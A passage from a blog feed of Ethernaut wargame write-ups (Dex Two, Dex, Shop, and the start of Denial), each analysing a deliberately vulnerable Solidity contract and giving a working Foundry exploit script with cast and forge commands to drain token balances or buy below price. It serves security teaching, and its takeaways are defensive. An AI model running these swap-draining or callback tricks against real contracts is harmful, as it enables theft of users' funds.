<pre><code><span class="hljs-attribute">cast</span> call <span class="hljs-number">0</span>xAFE<span class="hljs-number">3</span>F<span class="hljs-number">881306476</span>e<span class="hljs-number">9</span>F<span class="hljs-number">6</span>B<span class="hljs-number">88</span>cFB<span class="hljs-number">224</span>E<span class="hljs-number">66</span>d<span class="hljs-number">5484</span>c<span class="hljs-number">22</span>C<span class="hljs-number">1</span> <span class="hljs-string">"balanceOf(address)"</span> <span class="hljs-string">"0xEAce4b71CA1A128e8B562561f46896D55B9B0246"</span> --private-key $PKEY --rpc-url $RPC_URL | cast --to-dec
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662484186255/6D39w1xlL.png" alt="image.png" /></p>
<blockquote>
<p>ERC20 function signatures can be looked up <a target="_blank" href="https://ethereum.org/en/developers/docs/standards/tokens/erc-20/">here</a></p>
</blockquote>
<ul>
<li>Now send 100 ZTN to Dex Two:</li>
</ul>
<pre><code><span class="hljs-attribute">cast</span> send <span class="hljs-number">0</span>xAFE<span class="hljs-number">3</span>F<span class="hljs-number">881306476</span>e<span class="hljs-number">9</span>F<span class="hljs-number">6</span>B<span class="hljs-number">88</span>cFB<span class="hljs-number">224</span>E<span class="hljs-number">66</span>d<span class="hljs-number">5484</span>c<span class="hljs-number">22</span>C<span class="hljs-number">1</span> <span class="hljs-string">"transfer(address,uint256)"</span> <span class="hljs-string">"0xcEba857710790f945EC26A5B96Ef6D495F4BF3A5"</span> <span class="hljs-string">"100"</span> --private-key $PKEY --rpc-url $RPC_URL
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662485175826/qFi0mtiSi.png" alt="image.png" /></p>
<ul>
<li>Let's now approve the Dex to spend 300 of our tokens so it can swap the tokens:</li>
</ul>
<pre><code><span class="hljs-attribute">cast</span> send <span class="hljs-number">0</span>xAFE<span class="hljs-number">3</span>F<span class="hljs-number">881306476</span>e<span class="hljs-number">9</span>F<span class="hljs-number">6</span>B<span class="hljs-number">88</span>cFB<span class="hljs-number">224</span>E<span class="hljs-number">66</span>d<span class="hljs-number">5484</span>c<span class="hljs-number">22</span>C<span class="hljs-number">1</span> <span class="hljs-string">"approve(address,uint256)"</span> <span class="hljs-string">"0xcEba857710790f945EC26A5B96Ef6D495F4BF3A5"</span> <span class="hljs-string">"300"</span> --private-key $PKEY --rpc-url $RPC_URL
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662484651396/_Gk55kVtB.png" alt="image.png" /></p>
<hr />
<p>Now it's time to execute our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level23.sol">exploit script</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel23.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">POC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{

    DexTwo level23 <span class="hljs-operator">=</span> DexTwo(<span class="hljs-number">0xcEba857710790f945EC26A5B96Ef6D495F4BF3A5</span>);
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>{
        vm.startBroadcast();
        <span class="hljs-keyword">address</span> ZTN <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0xAFE3F881306476e9F6B88cFB224E66d5484c22C1</span>);
        <span class="hljs-keyword">address</span> token1 <span class="hljs-operator">=</span> level23.token1();
        <span class="hljs-keyword">address</span> token2 <span class="hljs-operator">=</span> level23.token2();

        level23.swap(ZTN, token1, <span class="hljs-number">100</span>);
        level23.swap(ZTN, token2, <span class="hljs-number">200</span>);

        console.log(<span class="hljs-string">"Remaining token1 balance : "</span>, level23.balanceOf(token1, <span class="hljs-keyword">address</span>(level23)));
        console.log(<span class="hljs-string">"Remaining token2 balance : "</span>, level23.balanceOf(token2, <span class="hljs-keyword">address</span>(level23)));
        vm.stopBroadcast();
    }
}
</code></pre>
<p>We have defined addresses for all the tokens used for swapping and calling the <code>swap()</code> function, once with token1 for 100 tokens and then with token2 for 200 tokens. The final balance for the Dex is logged to the console. </p>
<p>Run the script with the following command:</p>
<pre><code>forge script ./script<span class="hljs-operator">/</span>level23.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL <span class="hljs-operator">-</span>vvvv
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662485237589/1PkjIYcxh.png" alt="image.png" /></p>
<p>We have successfully drained the Dex Two. The instance can now be submitted to finish the level. </p>
<blockquote>
<p>My <strong>Github Repository</strong> containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeaways">Takeaways</h2>
<ul>
<li>There must be proper validations on the tokens allowed for swapping by the Dex</li>
<li>If user-listed tokens are allowed to be swapped, careful attention should be paid to business-critical logic so that they can't exploit the contract</li>
<li>When doing calculations related to any sensitive asset such as tokens, since there are no floating points in solidity, precision is lost as numbers are rounded off leading to exploits such as the one shown above</li>
</ul>
<hr />
<h4 id="heading-references">References</h4>
<p>https://dev.to/nvn/ethernaut-hacks-level-23-dex-two-4424</p>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 22 - Dex]]></title><description><![CDATA[Objectives
This level is a Dex contract or decentralized exchange platform that deals with token swapping and exchange. Our player has been provided with 10 tokens each of token1 and token2, the two types of tokens handled by the Dex. The Dex contrac...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-22-dex</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-22-dex</guid><category><![CDATA[Security]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Solidity]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Mon, 05 Sep 2022 18:34:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1662402430538/Ua9rrtdZi.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>This level is a Dex contract or decentralized exchange platform that deals with token swapping and exchange. Our player has been provided with 10 tokens each of token1 and token2, the two types of tokens handled by the Dex. The Dex contract has a balance of 100 tokens each. </p>
<p>To complete this level, we need to drain either all the tokens from token1 or token2 from the contract. Even though the contract looks bigger than other levels, it is one of the simplest once you get to know the logic and dangers of divisions (**<strong>wink wink</strong>**) and multiplications in solidity. Let's dive in.</p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<p>We will go through each function one by one. </p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setTokens</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _token1, <span class="hljs-keyword">address</span> _token2</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    token1 <span class="hljs-operator">=</span> _token1;
    token2 <span class="hljs-operator">=</span> _token2;
}
</code></pre>
<p>The <code>setTokens()</code> is used to set the address for each token contract. This can only be called by the owner due to the modifier <code>onlyOwner</code>. </p>
<hr />
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addLiquidity</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token_address, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    IERC20(token_address).transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount);
}
</code></pre>
<p>The <code>addLiquidity()</code> function can also be called by only the owner to provide liquidity to the contract. This transfers the approved amount of tokens from the token address to the Dex. </p>
<hr />
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swap</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">require</span>((<span class="hljs-keyword">from</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token1 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> to <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token2) <span class="hljs-operator">|</span><span class="hljs-operator">|</span> (<span class="hljs-keyword">from</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token2 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> to <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token1), <span class="hljs-string">"Invalid tokens"</span>);
    <span class="hljs-built_in">require</span>(IERC20(<span class="hljs-keyword">from</span>).balanceOf(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> amount, <span class="hljs-string">"Not enough to swap"</span>);
    <span class="hljs-keyword">uint</span> swapAmount <span class="hljs-operator">=</span> getSwapPrice(<span class="hljs-keyword">from</span>, to, amount);
    IERC20(<span class="hljs-keyword">from</span>).transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount);
    IERC20(to).approve(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), swapAmount);
    IERC20(to).transferFrom(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, swapAmount);
}
</code></pre>
<ul>
<li>The <code>swap()</code> is a public function without any modifier which means anyone can call it. This is being used to swap <code>x</code> amount of token1 with token2 or vice-versa. </li>
<li>This is taking <code>from</code> and <code>to</code> addresses for tokens and an <code>amount</code>.</li>
<li>It is making sure that the addresses are only the token addresses defined by the owner using the <code>setTokens()</code> function. </li>
<li>The other require statement is checking if the user calling the function has a sufficient amount of tokens. </li>
<li>The variable <code>swapAmount</code> is calling the <code>getSwapPrice()</code> function to calculate the total amount to be swapped. We'll discuss more on this later. </li>
<li>A <code>transferFrom()</code> call is made which is transferring <code>swapAmount</code> tokens from the user to the Dex. </li>
<li>An <code>approve</code> call is being made in which the tokens to be swapped with are being approved for the contract. </li>
<li>Then these <code>to</code> tokens are transferred from the Dex to our user.  </li>
</ul>
<hr />
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapPrice</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>{
    <span class="hljs-keyword">return</span>((amount <span class="hljs-operator">*</span> IERC20(to).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)))<span class="hljs-operator">/</span>IERC20(<span class="hljs-keyword">from</span>).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
}
</code></pre>
<p>This function is taking addresses for both the tokens and the amount of <code>from</code> tokens to be swapped and calculates the amount of <code>to</code> tokens. The following formula is used - </p>
<pre><code><span class="hljs-attribute">The</span> number of token<span class="hljs-number">2</span> to be returned = (amount of token<span class="hljs-number">1</span> to be swapped * token<span class="hljs-number">2</span> balance of the contract)/token<span class="hljs-number">1</span> balance of the contract.
</code></pre><p>This is the vulnerable function. We will be exploiting the fact that there are no floating points in solidity which means whenever the function will do a division, the result will be a fraction. Since there are no decimals and floating points, the token amount will be rounded off towards zero. Therefore, by making continuous token swaps from token1 to token2 and back, we can decrease the total balance of one of the tokens in the contract to zero. The precision loss will automatically do the job for us. </p>
<hr />
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    SwappableToken(token1).approve(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, spender, amount);
    SwappableToken(token2).approve(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, spender, amount);
}
</code></pre>
<p>The approve is an ERC20 function that is used to give permission to the spender to spend <code>amount</code> tokens. </p>
<p>The <code>balanceOf()</code> function is just used to calculate the remaining token balance of the address. </p>
<hr />
<h2 id="heading-calculations">Calculations</h2>
<p>To exploit this level, we have to swap all our token1 for token2. Then swap all our token2 for token1. And repeat this process. Let's take a look at the token table. </p>
<ol>
<li>Initially Dex has a balance of 100 for both the tokens and the User has a balance of 10 each. </li>
<li>The user makes a token swap from token1 to token2 for 10 tokens. Dex will have 110 token1 and 90 token2 whereas the user will have 0 token1 and 20 token2. </li>
<li><p>Now, when the user swaps 20 token2 for token1, the formula will return the following - </p>
<pre><code><span class="hljs-attribute">Number</span> of token<span class="hljs-number">1</span> tokens returned = (<span class="hljs-number">20</span> * <span class="hljs-number">110</span>)/<span class="hljs-number">90</span> = <span class="hljs-number">24</span>.<span class="hljs-number">44</span>
</code></pre><p>This value will be rounded off to 24. This means Dex will now have 86 token1, and 110 token2 and our user will have 24 token1 and 0 token2. 
If this is repeated a few more times, it will produce the values shown below. </p>
</li>
<li><p>We can see that on each token swap, we are left with more tokens than held previously. </p>
</li>
<li>Once we reach a value of 65 tokens for either token1 or token2, we can do another swap to drain the balance of one of the tokens from Dex. <code>((65*110)/45 = 158)</code></li>
</ol>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Dex</strong></td><td></td><td><strong>User</strong></td><td></td></tr>
</thead>
<tbody>
<tr>
<td><strong>token1</strong></td><td><strong>token2</strong></td><td><strong>token1</strong></td><td><strong>token2</strong></td></tr>
<tr>
<td>100</td><td>100</td><td>10</td><td>10</td></tr>
<tr>
<td>110</td><td>90</td><td>0</td><td>20</td></tr>
<tr>
<td>86</td><td>110</td><td>24</td><td>0</td></tr>
<tr>
<td>110</td><td>80</td><td>0</td><td>30</td></tr>
<tr>
<td>69</td><td>110</td><td>41</td><td>0</td></tr>
<tr>
<td>110</td><td>45</td><td>0</td><td>65</td></tr>
<tr>
<td>0</td><td>90</td><td>110</td><td>20</td></tr>
</tbody>
</table>
</div><p>This means that in the final step if we need to drain 110 token1, the amount of token2 to be swapped is <code>(65 * 110)/158 = 45</code>. This will bring the token1 balance of the Dex to 0. </p>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Let's take a look at our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level22.sol">exploit script</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel22.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">POC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{

    Dex level22 <span class="hljs-operator">=</span> Dex(<span class="hljs-number">0x84c765cfdbA36b9e81Db0eb7C9356eed77296ed6</span>);
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>{
        vm.startBroadcast();
        level22.approve(<span class="hljs-keyword">address</span>(level22), <span class="hljs-number">500</span>);
        <span class="hljs-keyword">address</span> token1 <span class="hljs-operator">=</span> level22.token1();
        <span class="hljs-keyword">address</span> token2 <span class="hljs-operator">=</span> level22.token2();

        level22.swap(token1, token2, <span class="hljs-number">10</span>);
        level22.swap(token2, token1, <span class="hljs-number">20</span>);
        level22.swap(token1, token2, <span class="hljs-number">24</span>);
        level22.swap(token2, token1, <span class="hljs-number">30</span>);
        level22.swap(token1, token2, <span class="hljs-number">41</span>);
        level22.swap(token2, token1, <span class="hljs-number">45</span>);

        console.log(<span class="hljs-string">"Final token1 balance of Dex is : "</span>, level22.balanceOf(token1, <span class="hljs-keyword">address</span>(level22)));
        vm.stopBroadcast();
    }
}
</code></pre>
<p>First of all, we are approving some 500 tokens to allow Dex to spend using <code>approve()</code> for both token1 and token2. </p>
<p>After approving all the tokens at once, we are making <code>swap()</code> calls according to our table shown above. The last line is just used to check the remaining token1 balance of the contract which should be 0 if the attack is successful. </p>
<p>Let's execute the script using the following command:</p>
<pre><code>forge script ./script<span class="hljs-operator">/</span>level22.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL <span class="hljs-operator">-</span>vvvv
</code></pre><p>The log output can be seen below showing that the attack was successful. The instance can now be submitted to finish the level. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662402369789/xpMWJSev_.png" alt="image.png" /></p>
<blockquote>
<p>My <strong>Github Repository</strong> containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeaways">Takeaways</h2>
<p>When doing calculations related to any sensitive asset such as tokens, careful attention should be paid to precision since there are no floating points in solidity, precision is lost as numbers are rounded off leading to exploits such as the one shown above</p>
<hr />
<h4 id="heading-references">References</h4>
<ul>
<li>https://dev.to/nvn/ethernaut-hacks-level-22-dex-1e18</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 21 - Shop]]></title><description><![CDATA[Objectives
This level requires us to buy the product from a shop for less than the price asked. It is eerily similar to Level 11 - Elevator, but with a caveat. Let's dive in. 

Analysis
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interfa...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-21-shop</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-21-shop</guid><category><![CDATA[Ethernaut]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web3]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sun, 04 Sep 2022 08:06:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1662278652744/KhB4r4Gu8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>This level requires us to buy the product from a shop for less than the price asked. It is eerily similar to <a target="_blank" href="https://blog.dixitaditya.com/ethernaut-level-11-elevator">Level 11 - Elevator</a>, but with a caveat. Let's dive in. </p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Buyer</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">price</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Shop</span> </span>{
  <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> price <span class="hljs-operator">=</span> <span class="hljs-number">100</span>;
  <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> isSold;

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">buy</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    Buyer _buyer <span class="hljs-operator">=</span> Buyer(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

    <span class="hljs-keyword">if</span> (_buyer.price() <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> price <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-operator">!</span>isSold) {
      isSold <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
      price <span class="hljs-operator">=</span> _buyer.price();
    }
  }
}
</code></pre>
<p>The <code>buy()</code> function is checking if the price value returned by the Buyer interface is greater than the price defined (100) and if the product is already sold. If the <code>if</code> statement validation goes through, the <code>isSold</code> is set to <code>true</code>, and the price is set to the new price returned by the Buyer interface. </p>
<p>The contract defines an interface called <code>Buyer</code> but the buy function is using <code>msg.sender</code>'s address to create an instance. This means that we can deploy an attacker contract with a <code>price()</code> function in it and it will be called by the <code>buy()</code> function when checking the price. </p>
<p>Something which should be observed here is that the <code>price()</code> is a view function, i.e., it can not change the state so we can not maintain a state variable as we did in the <a target="_blank" href="https://blog.dixitaditya.com/ethernaut-level-11-elevator">Elevator</a> but we can make external calls to functions that are view or pure. </p>
<p>Therefore, to return two values from our <code>price()</code> function, we can make it return values based on the variable <code>isSold</code>. </p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">price</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
    <span class="hljs-keyword">return</span> level21.isSold() ? <span class="hljs-number">1</span> : <span class="hljs-number">101</span>;
}
</code></pre>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Let's take a look at the <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level21.sol">exploit code</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel21.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">BrokenShop</span> </span>{

    Shop level21 <span class="hljs-operator">=</span> Shop(<span class="hljs-number">0x9350Bd45e706BCE78Ff84C9eB91503018fFd86F3</span>);

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">exploit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        level21.buy();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">price</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> level21.isSold() ? <span class="hljs-number">1</span> : <span class="hljs-number">101</span>;
    }
}
</code></pre>
<p>Deploy the contract above using the following command:</p>
<pre><code>forge create BrokenShop <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL
</code></pre><p>and call the <code>exploit()</code> function to trigger the exploit:</p>
<pre><code><span class="hljs-attribute">cast</span> send <span class="hljs-number">0</span>x<span class="hljs-number">5641</span>B<span class="hljs-number">5</span>ab<span class="hljs-number">8</span>cc<span class="hljs-number">6</span>c<span class="hljs-number">1</span>FF<span class="hljs-number">0225</span>c<span class="hljs-number">3</span>BcaaDE<span class="hljs-number">972</span>BD<span class="hljs-number">958</span>F<span class="hljs-number">8</span>a<span class="hljs-number">9</span> <span class="hljs-string">"exploit()"</span> --private-key $PKEY --rpc-url $RPC_URL
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662278347138/q6od93w6u.png" alt="image.png" /></p>
<p>Our exploit code will call the <code>buy()</code> function which will then make a call to the <code>price()</code> function defined in our contract. The function will return 101 which is more than the price defined in the Shop if <code>isSold</code> is set to <code>false</code>, otherwise, it will return 1. The new price can be checked in the console using <code>await contract.price()</code>. </p>
<p>The instance can now be submitted to finish the level. </p>
<blockquote>
<p>My <strong>Github Repository</strong> containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeaways">Takeaways</h2>
<ul>
<li>Never leave interfaces unimplemented and it is a really bad idea to trust implementations by other unknown contracts. </li>
<li>Even though view and pure functions can not modify the state, they can be manipulated as shown above. </li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 20 - Denial]]></title><description><![CDATA[Objectives
This is a rather simple one and the objective is to prevent the owner from withdrawing the funds when they call the withdraw() function. Let's dive in.

Analysis
Let's take a look at the vulnerable code:
function setWithdrawPartner(address...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-20-denial</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-20-denial</guid><category><![CDATA[Ethernaut]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Solidity]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sat, 03 Sep 2022 18:06:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1662228343658/KrzOPer0G.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>This is a rather simple one and the objective is to prevent the owner from withdrawing the funds when they call the <code>withdraw()</code> function. Let's dive in.</p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<p>Let's take a look at the vulnerable code:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setWithdrawPartner</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _partner</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    partner <span class="hljs-operator">=</span> _partner;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">uint</span> amountToSend <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>.div(<span class="hljs-number">100</span>);
    <span class="hljs-comment">// perform a call without checking return</span>
    <span class="hljs-comment">// The recipient can revert, the owner will still get their share</span>
    partner.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>:amountToSend}(<span class="hljs-string">""</span>);
    owner.<span class="hljs-built_in">transfer</span>(amountToSend);
    <span class="hljs-comment">// keep track of last withdrawal time</span>
    timeLastWithdrawn <span class="hljs-operator">=</span> <span class="hljs-built_in">now</span>;
    withdrawPartnerBalances[partner] <span class="hljs-operator">=</span> withdrawPartnerBalances[partner].add(amountToSend);
}
</code></pre>
<ul>
<li><p>The <code>setWithdrawPartner()</code> function is public and allows us to call it with our address so we can become a partner. </p>
</li>
<li><p>The <code>withdraw()</code> function is calculating the amount to send inside <code>amountToSend</code> and makes two external calls. One of the calls is made to the <code>partner</code> address which is controlled by us and the other one is made to the <code>owner</code>'s address. These calls are transferring 1% Ether each to the owner and the partner. So the question is how can we prevent the owner from withdrawing?</p>
</li>
</ul>
<p>An interesting fact about the <code>call()</code> function is that it forwards all the gas along with the call unless a gas value is specified in the call. The <code>transfer()</code> and <code>send()</code> only forwards 2300 gas. </p>
<p>The <code>call()</code> returns two values, a <code>bool success</code> showing if the call succeeded and a <code>bytes memory data</code> which contains the return value. 
It should be noted that the return values of the external calls are not checked anywhere. </p>
<p>To exploit the contract and prevent the <code>owner.transfer(amountToSend)</code> from being called, we need to create a contract with a <code>fallback</code> or <code>receive</code> function that drains all the gas and prevents further execution of the <code>withdraw()</code> function. </p>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Here's how our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level20.sol">exploit code</a> looks:</p>
